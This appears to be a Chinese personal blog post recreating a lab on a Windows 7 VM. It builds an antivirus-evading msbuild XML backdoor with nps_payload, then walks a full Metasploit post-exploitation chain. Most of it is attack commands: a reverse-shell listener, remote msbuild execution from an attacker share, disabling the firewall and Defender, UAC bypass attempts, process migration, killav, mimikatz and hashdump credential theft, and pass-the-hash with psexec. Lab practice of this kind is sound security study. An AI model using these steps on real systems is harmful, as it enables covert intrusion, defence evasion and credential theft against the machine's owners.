banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

nps_payload免殺三件套及常用滲透流程

事情起因#

跟著 Tidesec 團隊的免殺系列做復現,只做 360,火絨,騰訊電腦管家都能過的免殺工具

終於在免殺專題 19 成功,還是熱乎的沒有被這幾大廠商封掉

於是復現並走一遍常見滲透測試流程

參考文章:

環境搭建#

我這裡為了能夠順便模擬提權過程,特地新建了一個標準管理員用戶

注意:此處練手提權不要創建普通用戶,創建普通用戶獲得meterpreter會話後,我嘗試了

  • ps 裡根本沒有除了普通用戶的進程,無法 migrate
  • bypass uac 的 exploit 不行
  • load mimikatz 和 hashdump 提示沒權限
  • windows-exploit-suggester 和後滲透模塊 post/multi/recon/local_exploit_suggester 全部失敗

所以,在經歷過普通用戶提權的折磨後,我放棄了,把user用戶加入了管理員組

配置如下:

  • Win7 SP1 build 7601
  • windows 防火牆打開
  • 360 殺毒正式版 5.0.0.8170
  • 騰訊電腦管家 13.3.20238.213
  • 火絨 5.0.36.16
  • Administrator 和 user:123456

來一張全家福:

image

360 顯示需要關閉其他殺毒軟件才能完全開啟權限,但我操作了也不能打開,就這樣吧

nps_payload#

nps_payload 介紹#

nps_payload 是 2017 年開源的工具,安裝使用都比較簡單,nps_payload 可以生成基於 msbuild 的 xml 文件和獨立執行的 hta 文件,並對 xml 文件和 hta 文件做了一定的混淆免殺,從而達到免殺的效果。

安裝 nps_payload#

  1. 克隆到本地
git clone  https://github.com/trustedsec/nps_payload
  1. 安裝 py 依賴
cd nps_payload
pip install -r requirements.txt
  1. 運行
python nps_payload.py

nps_payload 使用說明#

nps_payload生成的xmlhta文件都需要使用 msbuild 來執行

Microsoft Build Engine是一個用於構建應用程序的平台,此引擎也被稱為msbuild,它為項目文件提供一個XML模式,該模式控制構建平台如何處理和構建軟件。Visual Studio使用MSBuild,但它不依賴於Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。

說明:Msbuild.exe所在路徑沒有被系統添加PATH環境變量中,因此,Msbuild 命令無法直接在 cmd 中使用。需要帶上路徑:C:\Windows\Microsoft.NET\Framework\v4.0.30319

也就是這個免殺只能在NET Framework>=4.0的環境下使用

你可以打開C:\Windows\Microsoft.NET\Framework\這個路徑看一眼是否支持

image

使用 nps_payload 生成後門#

只有兩種生成方式,我這裡就使用第一種,填入自己kaliipport

等待一會就生成了,說句題外話,一般不要把端口設置為4444

因為幾乎所有的msf的提權模塊都默認使用4444端口而且無法修改

image

生成後在當前目錄就得到我們需要的木馬文件msbuild_nps.xml

image

文件執行的方式有兩種

  1. 本地加載執行:
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
  1. 遠程文件執行:
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml

我這裡就用本地加載進行測試,先在kali上開啟監聽:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 3333
set ExitOnSession false
exploit -j -z

image

這裡又有兩個使用msf的小技巧:

  • set ExitOnSession false 可以在接收到 session 後繼續監聽端口,保持偵聽,也就是防止假 session
  • exploit -j -z 可在後台持續監聽,-j 為後台任務,-z 為持續監聽,這樣反彈一個 shell 就能接收一個

在目標機上執行本地加載免殺文件,在 msbuild_nps.xml 當前目錄打開cmd,執行:

%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml

這裡的cmd需要以管理員權限執行,要不然進程裡只有user用戶的無法提權

image

可以看到,三件套殺毒軟件都沒有反應,成功免殺

由於exploit使用了-j選項,因此靶機上執行時可能過幾秒kali上才會有反應

另外,如果msf顯示了連接到session但是假死了,按下回車,再sessions打開查看就行了

然後我們sessions -i 1打開session走一遍滲透測試流程

常見滲透測試流程#

安全措施#

切換到shell關閉windows defender

shell
chcp 65001
關閉防火牆
netsh advfirewall set allprofiles state off
關閉windows defender
net stop windefend

image

image

image

提權及密碼獲取#

首先看下權限:getuid並習慣性的用meterpreter自帶提權命令getsystem

如果不是meterpreter而是shell才使用whoami

image

可以看到默認提權失敗,進程裡是有管理員和system進程的,懷疑有uac

其實獲得會話後bypass uac才應該是第一步

ctrl+z輸入y將會話退到後台 (shell退到meterpreter也是這樣)

use exploit/windows/local/bypassuac
set session 1
exploit
getsystem
getuid

image

可以看到我們bypass也失敗了,上傳的提權文件被騰訊管家攔截了

bypass uac還可以用另一個模塊:

use exploit/windows/local/ask
set session 1
exploit

正常情況下只要用戶點擊彈窗的確認就能繞過uac,但是上傳的文件又被360攔截了

那就最簡單的辦法,migrate PID遷移進程

首先ps查看下進程,選擇一個system進程,並記住PID

image

然後migrate 1192查看權限

image

成功獲取到system權限,殺毒軟件很礙事,殺掉吧:run killav

不過好像沒啥用,只關掉了我們運行msbuild_nps.xmlcmd窗口

那我們獲取下密碼:

load mimikatz
kerberos

image

這是明文密碼,一般實戰中不容易獲取,實戰中更容易獲取到的是hash值

hashdump

image

獲取到hash值後我們可以直接使用hash值登錄目標主機

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set RHOST 192.168.1.11
set LPORT 2222
set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
set SMBUser administrator
exploit

image

這裡實測調用powershell會被 360 查殺

通過以上的例子,可以看出在實際的滲透測試中,即使獲得了會話

各種殺毒軟件也會樂此不疲地查殺各種利用模塊

因此,我們必須學會在夾縫中生存。

參考文章:

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。